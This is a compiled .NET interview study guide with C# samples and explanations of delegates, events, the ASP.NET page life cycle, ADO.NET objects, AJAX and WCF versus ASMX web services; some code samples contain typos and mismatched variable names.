The following is a sample to demonstrate a Singlecast delegate:
using System;

namespace ConsoleApplication5
{
class Program
{
public delegate void delmethod();

public class P
{
public static void display()
{
Console.WriteLine("Hello!");
}

public static void show()
{
Console.WriteLine("Hi!");
}

public void print()
{
Console.WriteLine("Print");
}
}
static void Main(string[] args)
{
// here we have assigned static method show() of class P to delegate delmethod()
delmethod del1 = P.show;

// here we have assigned static method display() of class P to delegate delmethod() using new
operator
// you can use both ways to assign the delagate
delmethod del2 = new delmethod(P.display);

P obj = new P();

// here first we have create instance of class P and assigned the method print() to the delegate i.e.
delegate with class
delmethod del3 = obj.print;

del1();
del2();
del3();
Console.ReadLine();
}
}
}

The following is a sample to demonstrate a Multicast delegate:

using System;

namespace delegate_Example4
{
class Program
{
public delegate void delmethod(int x, int y);

public class TestMultipleDelegate
{
public void plus_Method1(int x, int y)
{
Console.Write("You are in plus_Method");
Console.WriteLine(x + y);
}

public void subtract_Method2(int x, int y)
{
Console.Write("You are in subtract_Method");
Console.WriteLine(x - y);
}
}
static void Main(string[] args)
{
TestMultipleDelegate obj = new TestMultipleDelegate();
delmethod del = new delmethod(obj.plus_Method1);
// Here we have multicast
del += new delmethod(obj.subtract_Method2);
// plus_Method1 and subtract_Method2 are called
del(50, 10);

Console.WriteLine();
//Here again we have multicast
del -= new delmethod(obj.plus_Method1);
//Only subtract_Method2 is called
del(20, 10);
Console.ReadLine();
}
}
}

The following are points to remember about delegates:
Delegates are similar to C++ function pointers, but are type safe.
Delegate gives a name to a method signature.
Delegates allow methods to be passed as parameters.
Delegates can be used to define callback methods.
Delegates can be chained together; for example, multiple methods can be called on a single
event.
C# version 2.0 introduces the concept of Anonymous Methods, that permit code blocks to be
passed as parameters in place of a separately defined method.
Delegates helps in code optimization.
Usage areas of delegates
The most common example of using delegates is in events.
They are extensively used in threading.
Delegates are also used for generic class libraries, that have generic functionality, defined.
An Anonymous Delegate

You can create a delegate, but there is no need to declare the method associated with it. You do not need
to explicitly define a method prior to using the delegate. Such a method is referred to as anonymous.

In other words, if a delegate itself contains its method definition then it is known as an anonymous
method.

The following is a sample to show an anonymous delegate:
using System;

public delegate void Test();

public class Program
{
static int Main()
{
Test Display = delegate()
{
Console.WriteLine("Anonymous Delegate method");
};

Display();
return 0;
}
}

Note: You can also handle events by anonymous methods.

Events

Events and delegates are linked together.

An event is a reference of a delegate, in other words when an event is raised a delegate will be called.

In C# terms, events are a special form of delegates. Events are nothing but a change of state. Events play
an important part in GUI programming. Events and delegates work hand-in-hand to provide a program's
functionality.

A C# event is a class member that is activated whenever the event it was designed for occurs.

It starts with a class that declares an event. Any class, including the same class that the event is declared
in, may register one of its methods for the event. This occurs through a delegate, that specifies the
signature of the method that is registered for the event. The event keyword is a delegate modifier. It
must always be used in connection with a delegate.

The delegate may be one of the pre-defined .NET delegates or one you declare yourself. Whichever is
appropriate, you assign the delegate to the event, that effectively registers the method that will be
called when the event fires.

How to use events?

Once an event is declared, it must be associated with one or more event handlers before it can be
raised. An event handler is nothing but a method that is called using a delegate. Use the += operator to
associate an event with an instance of a delegate that already exists.

The following is an example:

obj.MyEvent += new MyDelegate(obj.Display);

An event has the value null if it has no registered listeners.

Although events are most commonly used in Windows Controls programming, they can also be
implemented in console, web and other applications.

The following is a sample of creating a custom Singlecast delegate and event:
using System;

namespace delegate_custom
{
class Program
{
public delegate void MyDelegate(int a);

public class XX
{
public event MyDelegate MyEvent;

public void RaiseEvent()
{
MyEvent(20);
Console.WriteLine("Event Raised");
}

public void Display(int x)
{
Console.WriteLine("Display Method {0}", x);
}
}

static void Main(string[] args)
{

XX obj = new XX();
obj.MyEvent += new MyDelegate(obj.Display);

obj.RaiseEvent();
Console.ReadLine();
}
}
}

9. ASP.NET page cycle?

Each request for an .aspx page that hits IIS is handed over to the HTTP Pipeline. The HTTP Pipeline is a
chain of managed objects that sequentially process the request and convert it to plain HTML text content.
The starting point of a HTTP Pipeline is the HttpRuntime class. The ASP.NET infrastructure creates each
instance of this class per AppDomain hosted within the worker process. The HttpRuntime class picks up
an HttpApplication object from an internal pool and sets it to work on the request. It determines what
class handles the request. The association between the resources and handlers are stored in the
configurable file of the application. In web.config and also inmachine.config you will find these lines in
section.

If you run through the following program then it will be much easier to follow:

<add verb="*" path="*.aspx" type="System.Web.UI.PageHandlerFactory"/>

This extension can be associated with HandlerClass or HandlerFactory class. HttpApplicationobject gets
the page object that implements the IHttpHandler Interface. The process of generating the output to the
browser is started when the object calls the ProcessRequest method.

Page Life Cycle

Once the HTTP page handler class is fully identified, the ASP.NET runtime calls the handler's
ProcessRequest to start the process. This implementation begins by calling the
methodFrameworkInitialize(), that builds the control trees for the page. This is a protected and virtual
member of the TemplateControl class, the class from which the page itself derives.

Next processRequest() makes the page transition through various phases: initialization, the loading of
viewstate and postback data, the loading of the page's user code and the execution of postback server-
side events. Then the page enters into render mode, the viewstate is updated and the HTML is generated
and sent to the output console. Finally the page is unloaded and the request is considered completely
served.

Stages and corresponding events in the life cycle of the ASP.NET page cycle:

Stage Events/Method
Page Initialization Page_Init
View State Loading LoadViewState
Postback data processing LoadPostData
Page Loading Page_Load
PostBack Change Notification RaisePostDataChangedEvent
PostBack Event Handling RaisePostBackEvent
Page Pre Rendering Phase Page_PreRender
View State Saving SaveViewState
Page_Render Page Rendering
Page_UnLoad Page Unloading
Some of the events listed above are not visible at the page level. It will be visible if you happen to
write server controls and write a class that is derived from page.

1. PreInit

The entry point of the page life cycle is the pre-initialization phase called "PreInit". This is the only event
where programmatic access to master pages and themes is allowed. You can dynamically set the values
of master pages and themes in this event. You can also dynamically create controls in this event.

Example: Override the event as given below in your code-behind cs file of your aspx page.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

public partial class _Default : System.Web.UI.Page
{
protected void Page_PreInit(object sender, EventArgs e)
{
// Use this event for the following:
// Check the IsPostBack property to determine whether this is the first time the page is being
processed.
// Create or re-create dynamic controls.
// Set a master page dynamically.
// Set the Theme property dynamically.
}

2. Init

This event fires after each control has been initialized, each control's UniqueID is set and any skin settings
have been applied. You can use this event to change initialization values for controls. The "Init" event is
fired first for the most bottom control in the hierarchy, and then fired up the hierarchy until it is fired for
the page itself.

Example : Override the event as given below in your code-behind cs file of your aspx page.

protected void Page_Init(object sender, EventArgs e)
{
// Raised after all controls have been initialized and any skin settings have been applied.
// Use this event to read or initialize control properties.
}

3. InitComplete

Raised once all initializations of the page and its controls have been completed. Until now the viewstate
values are not yet loaded, hence you can use this event to make changes to view state that you want to
ensure are persisted after the next postback.

Example : Override the event as given below in your code-behind cs file of your aspx page.

protected void Page_InitComplete(object sender, EventArgs e)
{
// Raised by the Page object. Use this event for processing tasks that require all initialization be
complete.
}

4. PreLoad

Raised after the page loads the view state for itself and all controls and then processes postback data
included with the Request instance.

Loads ViewState: ViewState data are loaded to controls

Note: The page viewstate is managed by ASP.NET and persists information over a page roundtrip to
the server. Viewstate information is saved as a string of name/value pairs and contains information
such as control text or value. The viewstate is held in the value property of a hidden control that is
passed from page request to page request.

Loads Postback data: postback data are now handed to the page controls.

Note: During this phase of the page creation, form data that was posted to the server (termed postback
data in ASP.NET) is processed against each control that requires it. Hence, the page fires the
LoadPostData event and parses through the page to find each control and updates the control state with
the correct postback data. ASP.NET updates the correct control by matching the control's unique ID with
the name/value pair in the NameValueCollection. This is one reason that ASP.NET requires unique IDs for
each control on any given page.

Example: Override the event as given below in your code-behind cs file of your aspx page.

protected override void OnPreLoad(EventArgs e)
{
// Use this event if you need to perform processing on your page or control before the Load event.
// Before the Page instance raises this event, it loads view state for itself and all controls, and
// then processes any postback data included with the Request instance.
}

5. Load

The important thing to note about this event is the fact that by now, the page has been restored to its
previous state in case of postbacks. Code inside the page load event typically checks for PostBack and
then sets control properties appropriately. This method is typically used for most code, since this is the
first place in the page lifecycle that all values are restored. Most code checks the value of IsPostBack to
avoid unnecessarily resetting state. You may also wish to call Validate and check the value of IsValid in this
method. You can also create dynamic controls in this method.

Example: Override the event as given below in your code-behind cs file of your aspx page.

protected void Page_Load(object sender, EventArgs e)
{
// The Page calls the OnLoad event method on the Page, then recursively does the same for each
child
// control, which does the same for each of its child controls until the page and all controls are
loaded.
// Use the OnLoad event method to set properties in controls and establish database connections.
}

6. Control (PostBack) event(s)

ASP.NET now calls any events on the page or its controls that caused the PostBack to occur. This might be
a button's click event or a dropdown's selectedindexchange event, for example.

These are the events, the code for which is written in your code-behind class (.cs file).

Example: Override the event as given below in your code-behind cs file of your aspx page.

protected void Button1_Click(object sender, EventArgs e)
{
// This is just an example of control event.. Here it is button click event that caused the postback
}

7. LoadComplete

This event signals the end of Load.

Example: Override the event as given below in your code-behind cs file of your aspx page.

protected void Page_LoadComplete(object sender, EventArgs e)
{
// Use this event for tasks that require that all other controls on the page be loaded.
}

8. PreRender

Allows final changes to the page or its control. This event takes place after all regular PostBack events
have taken place. This event occurs before saving ViewState, so any changes made here are saved.

For example: After this event, you cannot change any property of a button or change any viewstate value.
Because, after this event, the SaveStateComplete and Render events are called.

Example: Override the event as given below in your code-behind cs file of your aspx page.

protected override void OnPreRender(EventArgs e)
{
// Each data bound control whose DataSourceID property is set calls its DataBind method.
// The PreRender event occurs for each control on the page. Use the event to make final
// changes to the contents of the page or its controls.
}

9. SaveStateComplete

Prior to this event the view state for the page and its controls is set. Any changes to the page's controls at
this point or beyond are ignored.

Example: Override the event as given below in your code-behind cs file of your aspx page.

protected override void OnSaveStateComplete(EventArgs e)
{
// Before this event occurs, ViewState has been saved for the page and for all controls.
// Any changes to the page or controls at this point will be ignored.
// Use this event perform tasks that require view state to be saved, but that do not make any
changes to controls.
}

10. Render

This is a method of the page object and its controls (and not an event). At this point, ASP.NET calls this
method on each of the page's controls to get its output. The Render method generates the client-side
HTML, Dynamic Hypertext Markup Language (DHTML), and script that are necessary to properly display a
control at the browser.

Note: Right-click on the web page displayed in the client's browser and view the page's source. You will
not find any aspx server control in the code. Because all aspx controls are converted to their respective
HTML representation. The browser is capable of displaying HTML and client-side scripts.

Example: Override the event as given below in your code-behind cs file of your aspx page.

// Render stage goes here. This is not an event

11. UnLoad

This event is used for cleanup code. After the page's HTML is rendered, the objects are disposed of.
During this event, you should destroy any objects or references you have created in building the page. At
this point, all processing has occurred and it is safe to dispose of any remaining objects, including the
Page object.

Cleanup can be performed on:

(a)Instances of classes in other words objects
(b)Closing opened files
(c)Closing database connections.

Example: Override the event as given below in your code-behind cs file of your aspx page.

protected void Page_UnLoad(object sender, EventArgs e)
{
// This event occurs for each control and then for the page. In controls, use this event to do final
cleanup
// for specific controls, such as closing control-specific database connections.
// During the unload stage, the page and its controls have been rendered, so you cannot make
further
// changes to the response stream.
//If you attempt to call a method such as the Response.Write method, the page will throw an
exception.
}
}

10. Request and response in IIS

When the client requests some information from a web server, the request first reaches to HTTP.SYS of IIS.
HTTP.SYS then sends the request to the respective Application Pool. The Application Pool then forwards
the request to the worker process to load the ISAPI Extension that will create an HTTPRuntime Object to
process the request via HTTPModule and HTTPHanlder. After that the ASP.NET Page LifeCycle events start.

11. What are ADO.net objects ?

ADO.NET is designed to help developers work efficiently with multi tier databases, across intranet or
internet scenarios.

The ADO.NET object model consists of two key components as follows:
Connected model (.NET Data Provider: a set of components including the Connection, Command,
DataReader, and DataAdapter objects)
Disconnected model (DataSet).
Connection

The Connection object is the first component of ADO.NET. The connection object opens a connection to
your data source.

All of the configurable aspects of a database connection are represented in the Connection object, that
includes ConnectionString and ConnectionTimeout.

Connection object helps in accessing and manipulating a database. Database transactions are also
dependent upon the Connection object.

In ADO.NET the type of the Connection is dependent on what database system you are working with. The
following are the most commonly used for connections in ADO.NET:
SqlConnection
OleDbConnection
OdbcConnection
Command

The Command object is used to perform an action on the data source. The Command object can execute
Stored Procedures and T-SQL commands.

You can execute SQL queries to return data in a DataSet or a DataReader object. The Command object
performs the standard Select, Insert, Delete and Update T-SQL operations.

DataReader

The DataReader is built as a way to retrieve and examine the rows returned in response to your query as
quickly as possible.

No DataSet is created; in fact, no more than one row of information from the data source is in-memory at
a time. This makes the DataReader very efficient at returning large amounts of data.

The data returned by a DataReader is always read only. This class was built to be a lightweight forward
only, read only, way to run through data quickly (this was called a Firehose cursor in ADO).

However, if you need to manipulate a schema or use some advanced display features such as automatic
paging then you must use a DataAdapter and DataSet.

A DataReader object works in the connected model.

DataAdapter

The DataAdapter takes the results of a database query from a Command object and pushes them into a
DataSet using the DataAdapter.Fill() method. Additionally the DataAdapter.Update() method will
negotiate any changes to a DataSet back to the original data source.

A DataAdapter object works in a connected model. A DataAdapter performs the following five steps:
1. Create/open the connection
2. Fetch the data as per command specified
3. Generate XML file of data
4. Fill data into DataSet.
5. Close connection.
Command Builder

It is used to save changes made in an in-memory cache of data on the backend. The work of Command
Builder is to generate a Command as per changes in DataRows.

Command Builder generates commands on the basis of row state. There are five row states:
1. Unchanged
2. Added
3. Deleted
4. Modified
5. Detached
Command Builder works on add, delete and modified row state only.

Detached is used when an object is not created from row state.

Transaction

The Transaction object is used to execute a backend transaction. Transactions are used to ensure that
multiple changes to database rows occur as a single unit of work.

The Connection class has a BeginTransaction method that can be used to create a Transaction.

A definite best practice is to ensure that transactions are placed in Using statements for rapid cleanup if
they are not committed. Otherwise the objects (and any internal locks that may be needed) will remain
active until the GC gets around to cleaning it up.

Parameters

A Parameter object is used to solve SQL Injection attack problems while dealing with the user input
parameters.

A Parameter object allows passing parameters into a Command object. The Parameter class allows you to
quickly put parameters into a query without string concatenation.

Note: See my other article on ADO.NET Objects Part II.

Conclusion

Hope the article has helped you to understand ADO.NET objects.

Your feedback and constructive contributions are welcome. Please feel free to contact me for feedback or
comments you may have about this article. ADO.NET is designed to help developers work efficiently with
multi-tier databases, across intranet or Internet scenarios.

The ADO.NET object model consists of two key components as follows:
Connected model (.NET Data Provider: a set of components including the Connection, Command,
DataReader, and DataAdapter objects)
Disconnected model (DataSet).
DataSet

The DataSet Object is the parent object to most of the other objects in the System.Data namespace. The
DataSet is a disconnected, in-memory representation of data.

Its primary role is to store a collection of DataTables and the relations and constraints between those
DataTables.

DataSet also contains several methods for reading and writing XML, as well as merging other DataSets,
DataTables and DataRows.

Some of the advantages of the new DataSet object are:
Read / Write
Connectionless
Contains one or more DataTable objects with relationships defined in a collection of DataRelation
objects
Supports filtering and sorting
The contained DataView object can be bound to data-aware forms controls
Supports automatic XML serialization (creation of XML document)
DataTable

DataTable stores a table of information, typically retrieved from a data source. DataTable allows you to
examine the actual rows of a DataSet through rows and columns collections.

Once the DataTable is filled the database connection is released and operates disconnected only.

You can complex-bind a control to the information contained in a data table. Controls like DataGrid are
used for this purpose.

DataTable also stores metatable information such as the primary key and constraints.

DataRows

The DataRow class permits you to reference a specific row of data in a DataTable. This is the class that
permits you to edit, accept, or reject changes to the individual DataColumns of the row.

You would use a DataRow object and its properties and methods to retrieve and evaluate the values in a
DataTable object.

The DataRowCollection represents the actual DataRow objects that are in the DataTable object, and the
DataColumnCollection contains the DataColumn objects that describe the schema of the DataTable
object.

DataColumns

DataColumns is the building block of the DataTable. A number of such objects make up a table. Each
DataColumn object has a DataType property that determines the kind of data that the column is holding.
data table.

DataColumn instances are also the class of object that you use to read and write individual columns of
a database. The Items property of a DataRow returns a DataColumn.

DataView

A DataView is an object that provides a custom view of data in a DataTable. DataViews provide sorting,
filtering, and other types of customizations.

Each DataTable object has a DefaultView property, that holds the default DataView object for that
DataTable. Modifying the DefaultView object sets the default display characteristics for the DataTable.

You can create an instance of a DataView and associate it with a specific DataTable in a DataSet. This
permits you to have two or more different views of the same DataTable simultaneously available.

DataRelation

A DataRelation identifies that two or more of the DataTables in a DataSet contain data related in a one-
to-one or one-to-many (parent-child) association. You define a relationship between two tables by adding
a new DataRelation object to the DataSets.

Constraints

Each DataColumn may have multiple Constraints. Conditions such as unique are applied through this
class. Constraint objects are maintained through the DataTables Constraints collection.

DataRowView

A DataRowView is a special object that represents a row in a DataView. Each DataView can have a
different RowStateFilter, the DataRowView obtained from a DataView will contain data consistent with the
DataView's RowStateFilter, providing a custom view of the data.

12. What is the difference between Stored Procedures and functions?

1. Procedures can have input/output parameters for it whereas functions can have only input parameters.
2. Procedure allows select as well as DML statement in it whereas a function only allows select statements
in it. 3. We can go for transaction management in procedures whereas we can't for functions. 4.
Procedures cannot be utilized in a select statement whereas functions can be embedded in a select
statement.
13. What is the difference between Stored Procedures and triggers?
The Stored Procedures are used for performing tasks
Stored Procedures normally used to performing user specified tasks. It can have the parameters. It can
return multiple results set.
The Triggers for auditing work
Triggers normally are used for auditing work. It can be used to trace the activities of the table events.
The Stored Procedures can have the parameters
Procedures can have the input and output parameters with all the data types available in the SQL Server
as well as user defined data types.
The Triggers cannot have any parameters
Triggers cannot have any parameters.
Stored Procedure can be run independently
The Stored Procedures can be run independently. They are stored as a database object. It can be called
from the application.
The triggers executes based on table events
The DML triggers are get executed based on the table events defined on the specific table. There are
various types of triggers, like DML triggers, DDL triggers (from 2005 onwards) and logon triggers (from
2008 onwards).

The DDL triggers can control the Stored Procedures creation, drop and so on.
The Stored Procedure cannot call triggers
The Stored Procedures cannot call the triggers directly. But when we do the DML operations on the table,
if the corresponding table has the trigger then it will then be triggered.
The triggers can call Stored Procedures
The triggers can call Stored Procedures.

14. Difference between DataSet and DataReader?

DataReader

DataReader reads data from a database. It only reads using a forward-only connection oriented
architecture during the fetching of the data from the database. A DataReader will fetch the data very fast
compared with a DataSet. Generally we will use an ExecuteReader object to bind data to a DataReader.

To bind DataReader data to a GridView we need to write the code such as shown below:

Protected void BindGridview()
{
using (SqlConnection conn = new SqlConnection("Data Source=abc;Integrated Security=true;Initial
Catalog=Test"))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select UserName, First Name,LastName,Location FROM Users",
conn);
SqlDataReader sdr = cmd.ExecuteReader();
gvUserInfo.DataSource = sdr;
gvUserInfo.DataBind();
conn.Close();
}
}
Holds the connection open until you are finished (don't forget to close it!).
Can typically only be iterated over once
Is not as useful for updating back to the database
DataSet

DataSet is a disconnected oriented architecture. That means that there is no need for active connections
to work with DataSets and it is a collection of DataTables and relations between tables. It holds multiple
tables with data. You can select data form tables, create views based on tables and ask child rows over
relations. Also DataSet provides you with rich features like saving data as XML and loading XML data.

protected void BindGridview()
{
SqlConnection conn = new SqlConnection("Data Source=abc;Integrated Security=true;Initial
Catalog=Test");
conn.Open();
SqlCommand cmd = new SqlCommand("Select UserName, First Name,LastName,Location FROM
Users", conn);
SqlDataAdapter sda = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
gvUserInfo.DataSource = ds;
gvUserInfo.DataBind();
}

DataAdapter

A DataAdapter will act as a bridge between a DataSet and the database. This DataAdapter object reads
the data from the database and binds that data to a DataSet. DataAdapter is a disconnected oriented
architecture. Check the following sample code to see how to use a DataAdapter in code:

protected void BindGridview()
{
SqlConnection con = new SqlConnection("Data Source=abc;Integrated Security=true;Initial
Catalog=Test");
conn.Open();
SqlCommand cmd = new SqlCommand("Select UserName, First Name,LastName,Location FROM
Users", conn);
SqlDataAdapter sda = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
gvUserInfo.DataSource = ds;
gvUserInfo.DataBind();
}
Lets you close the connection as soon it's done loading data, and may even close it for you
automatically
All of the results are available in memory
You can iterate over it as many times as you need, or even look up a specific record by index
Has some built-in faculties for updating back to the database.
DataTable

DataTable represents a single table in the database. It has rows and columns. There is not much difference
between DataSet and datatable, a DataSet is simply a collection of datatables.

protected void BindGridview()
{
SqlConnection con = new SqlConnection("Data Source=abc;Integrated Security=true;Initial
Catalog=Test");
conn.Open();
SqlCommand cmd = new SqlCommand("Select UserName, First Name,LastName,Location FROM
Users", conn);
SqlDataAdapter sda = new SqlDataAdapter(cmd);
DataTable dt = new DataTable();
da.Fill(dt);
gridview1.DataSource = dt;
gvidview1.DataBind();
}

15. Differnce between JavaScript jQuery and AJAX?

JavaScript
1. JavaScript is a client-side (in the browser) scripting language.
2. JavaScript lets you supercharge your HTML with animation, interactivity, and dynamic visual
effects
3. JavaScript can make web pages more useful by supplying immediate feedback.
4. JavaScript is the common term for a combination of the ECMAScript programming language plus
some means for accessing a web browser's windows and the document object model (DOM).
5. JavaScript was designed to add interactivity to HTML pages
6. Everyone can use JavaScript without purchasing a license
jQuery
1. jQuery is a library/framework built with JavaScript.
2. It abstracts away cross-browser compatibility issues and it emphasises unobtrusive and callback-
driven JavaScript programming
3. jQuery (website) is a JavaScript framework that makes working with the DOM easier by building
many high level functionality that can be used to search and interact with the DOM
4. jQuery implements a high-level interface to do AJAX requests
5. jQuery is a fast and concise JavaScript Library that simplifies HTML document traversing, event
handling, animating, and AJAX interactions for rapid web development
Asynchronous JavaScript XML (AJAX)
1. Asynchronous JavaScript XML (AJAX) is a method to dynamically update parts of the UI without
having to reload the page, to make the experience more similar to a Desktop application.
2. AJAX is a technique to do an XMLHttpRequest (out of band Http request) from a web page to
the server and send/retrieve data to be used on the web page
3. It uses JavaScript to construct an XMLHttpRequest, typically using various techniques on
various browsers.
4. AJAX is a set of functions of the language JavaScript
5. Examples of applications using AJAX: Google Maps, Gmail, Youtube, and Facebook tabs.
Why AJAX?

This is probably one of the most asked questions about AJAX.

The main advantage of using AJAX enabled ASP.NET Web applications is improved efficiency and a
reduction of the page refresh time. AJAX enables us to refresh only parts of a Web page that have been
updated, rather refreshing the entire page.

For example, if you have four controls on a web page, say a DropDownList, a TextBox, a ListBox, and a
GridView. The GridView control shows some data based on the selection in a DropDownList and other
controls. Now let's say a GridView also has paging and sorting options. So whenever you move to the next
page or apply a sort, the entire page and all four controls on the page will be refreshed and you will
notice a page flicker because ASP.NET must render the entire page on the client-side and it happens
once.

In an AJAX-enabled web page, you will see only the GridView data is being refreshed and rest of the page
and controls do not. Doing so, we not only get better performance and faster refresh, we also get a better
(or should I say "smoother") user experience.

You may want to see a live example of an AJAX enabled GridView on our www.mindcracker.com web site in
the Jobs section here: http://www.mindcracker.com/Jobs/ . On this page, if you click on the "Next" page link
then you will see only the GridView data is being refreshed. We are also implementing AJAX on C# Corner
and other sites as well.

What Browsers Does AJAX Support?

AJAX is JavaScript based and supports most of the browsers including Internet Explorer, Mozilla Firefox,
and Apple Safari.

What are ASP.NET AJAX Extensions?

ASP.NET AJAX is a combination of client-script libraries (JavaScript) and ASP.NET server components that
are integrated to provide a robust development framework.

What are ASP.NET AJAX Server Controls?

The ASP.NET AJAX server controls consist of server and client code that integrate to produce AJAX-like
behavior. The following controls are available in the AJAX 1.0 library:
1. ScriptManager: Manages script resources for client components, partial-page rendering,
localization, globalization, and custom user scripts. The ScriptManager control is required for the
use of the UpdatePanel, UpdateProgress, and Timer controls.
2. UpdatePanel: Enables you to refresh selected parts of the page instead of refreshing the entire
page by using a synchronous postback.
3. UpdateProgress: Provides status information about partial-page updates in UpdatePanel controls.
4. Timer: Performs postbacks at defined intervals. You can use the Timer control to post the entire
page, or use it together with the UpdatePanel control to perform partial-page updates at a
defined interval.
What is the ASP.NET AJAX Control Toolkit?

The ASP.NET AJAX Control Toolkit is a collection of samples and components that show you some of the
experiences you can create with rich client ASP.NET AJAX controls and extenders. The Control Toolkit
provides both samples and a powerful SDK to simplify creation and reuse of your custom controls and
extenders. You can download the ASP.NET AJAX Control Toolkit from the ASP.NET AJAX Web site.

16. What is the differnce between WCF and web services?

Web Service in ASP.NET

A Web Service is programmable application logic accessible via standard Web protocols. One of these
Web protocols is the Simple Object Access Protocol (SOAP). SOAP is a W3C submitted note (as of May
2000) that uses standards based technologies (XML for data description and HTTP for transport) to
encode and transmit application data.

Consumers of a Web Service do not need to know anything about the platform, object model, or
programming language used to implement the service; they only need to understand how to send and
receive SOAP messages (HTTP and XML).

WCF Service

Windows Communication Foundation (WCF) is a framework for building service-oriented applications.
Using WCF, you can send data as asynchronous messages from one service endpoint to another. A service
endpoint can be a part of a continuously available service hosted by IIS, or it can be a service hosted in an
application. An endpoint can be a client of a service that requests data from a service endpoint. The
messages can be as simple as a single character or word sent as XML, or as complex as a stream of binary
data.

The following are the scenarios that WCF must be used in:
A secure service to process business transactions.
A service that supplies current data to others, such as a traffic reports or other monitoring service.
A chat service that allows two people to communicate or exchange data in real time.
A dashboard application that polls one or more services for data and presents it in a logical
presentation.
Exposing a workflow implemented using Windows Workflow Foundation as a WCF service.
A Silverlight application to poll a service for the latest data feeds.
Features of WCF
Service Orientation
Interoperability
Multiple Message Patterns
Service Metadata
Data Contracts
Security
Multiple Transports and Encoding
Reliable and Queued Messages
Durable Messages
Transactions
AJAX and REST Support
Extensibility
Difference between a Web Service in ASP.NET & WCF Service

WCF is a replacement for all earlier web service technologies from Microsoft. It also does much more than
what is traditionally considered as "web services".

WCF "web services" are part of a much broader spectrum of remote communication enabled through
WCF. You will get a much higher degree of flexibility and portability doing things in WCF than through
traditional ASMX because WCF is designed, from the ground up, to summarize all of the various
distributed programming infrastructures offered by Microsoft. An endpoint in WCF can be communicated
with just as easily over SOAP/XML as it can over TCP/binary and to change this medium is simply a
configuration file modification. In theory, this reduces the amount of new code needed when porting or
changing business needs, targets, and so on.

ASMX is older than WCF, and anything ASMX can do so can WCF (and more). Basically you can see WCF
as trying to logically group together all the various ways of getting two apps to communicate in the world
of Microsoft; ASMX was just one of these many ways and so is now grouped under the WCF umbrella of
capabilities.

Web Services can be accessed only over HTTP & it works in a stateless environment, whereas WCF is
flexible because its services can be hosted in various types of applications. Common scenarios for hosting
WCF services are IIS,WAS, Self-hosting and Managed Windows Service.

The major difference is that Web Services use XmlSerializer. But WCF uses DataContractSerializer that is
better in performance than XmlSerializer.

Key issues with XmlSerializer to serialize .NET types to XML are:
Only Public fields or Properties of .NET types can be translated into XML
Only the classes that implement IEnumerable interface
Classes that implement the IDictionary interface, such as Hash table cannot be serialized
Some important differences between DataContractSerializer and XMLSerializer are:
A practical benefit of the design of the DataContractSerializer is better performance
overXmlserializer.
XML Serialization does not indicate which fields or properties of the type are serialized into XML
whereasDataCotractSerializer
Explicitly shows the which fields or properties are serialized into XML
The DataContractSerializer can translate the HashTable into XML
Using the Code

The development of a web service with ASP.NET relies on defining data and relies on the XmlSerializer to
transform data to or from a service.

Key issues with XmlSerializer to serialize .NET types to XML:
Only Public fields or Properties of .NET types can be translated into XML
Only the classes that implement IEnumerable interface
Classes that implement the IDictionary interface, such as Hash table cannot be serialized
The WCF uses the DataContractAttribute and DataMemeberAttribute to translate .NET FW types into XML.

Collapse | Copy Code
[DataContract]
public class Item
{
[DataMember]
public string ItemID;
[DataMember]
public decimal ItemQuantity;
[DataMember]
public decimal ItemPrice;
}

The DataContractAttribute can be applied to the class or a strcture. DataMemberAttribute can be applied
to a field or a property and theses fields or properties can be either public or private.

Some important differences between DataContractSerializer and XMLSerializer are:
A practical benefit of the design of the DataContractSerializer is better performance over XML
serialization.
XML Serialization does not indicate which fields or properties of the type are serialized into XML
whereas DataContractSerializer explicitly shows which fields or properties are serialized into XML.
The DataContractSerializer can translate the HashTable into XML.
Developing Service

To develop a service using ASP.NET, we must add the WebService attribute to the class
and WebMethodAttribute to any of the class methods.

Example
[WebService]
public class Service : System.Web.Services.WebService
{
[WebMethod]
public string Test(string strMsg)
{
return strMsg;
}
}

To develop a service in WCF, we will write the following code:

[ServiceContract]
public interface ITest
{
[OperationContract]
string ShowMessage(string strMsg);
}
public class Service : ITest
{
public string ShowMessage(string strMsg)
{
return strMsg;
}
}

The ServiceContractAttribute specifies that an interface defines a WCF service contract,

OperationContract attribute indicates which of the methods of the interface defines the operations of the
service contract.

A class that implements the service contract is referred to as a service type in WCF.

Hosting the Service

ASP.NET web services are compiled into a class library assembly and a service file with an extension
.asmx will have the code for the service. The service file is copied into the root of the ASP.NET application
and Assembly will be copied to the bin directory. The application is accessible using URL of the service file.

WCF Service can be hosted within IIS or WindowsActivationService as in the following:
Compile the service type into a class library
Copy the service file with an extension .SVC into a virtual directory and assembly into bin sub
directory of the virtual directory.
Copy the web.config file into the virtual directory.
Client Development

Clients for the ASP.NET Web services are generated using the command-line tool WSDL.EXE.

WCF uses the ServiceMetadata tool (svcutil.exe) to generate the client for the service.

Message Representation

The Header of the SOAP Message can be customized in ASP.NET Web service.

WCF provides
attributes MessageContractAttribute, MessageHeaderAttribute andMessageBodyMemberAttribute to
describe the structure of the SOAP Message.

Service Description

Issuing a HTTP GET Request with query WSDL causes ASP.NET to generate WSDL to describe the service.
It returns the WSDL as a response to the request.

The generated WSDL can be customized by deriving the class of ServiceDescriptionFormatExtension.

Issuing a Request with the query WSDL for the .svc file generates the WSDL. The WSDL that generated by
WCF can be customized by using ServiceMetadataBehavior class.

Exception Handling

In ASP.NET Web services, unhandled exceptions are returned to the client as SOAP faults.

In WCF Services, unhandled exceptions are not returned to clients as SOAP faults. A configuration setting
is provided to have the unhandled exceptions returned to clients for the purpose of debugging.

16. SOAP, WSDL, UDDI overview.

XML: Describes only data. So, any application that understands XML, regardless of the application's
programming language or platform, has the ability to format XML in a variety of ways (well-formed or
valid).

SOAP: Provides a communication mechanism between services and applications.
WSDL: Offers a uniform method of describing web services to other programs.

UDDI: Enables the creation of searchable Web services registries

Note: Some Contents are copied from various Interview Websites.

C# and ASP.Net Question and Answers

Introduction

This article provides a collection of numerous .Net, C#, ADO.NET, Web Services, .Net Framework questions
and answers for which a reader must normally look around the entire internet in various community web
sites. Most of the questions and answers you likely have already read. The purpose of this article is to
consolidate most of the study material related to .Net in one single place.

ASP.NET

What is view state and the use of it?

The current property settings of an ASP.NET page and those of any ASP.NET server controls contained
within the page. ASP.NET can detect when a form is requested for the first time versus when the form is
posted (sent to the server), that allows you to program accordingly.

What are user controls and custom controls?

Custom controls

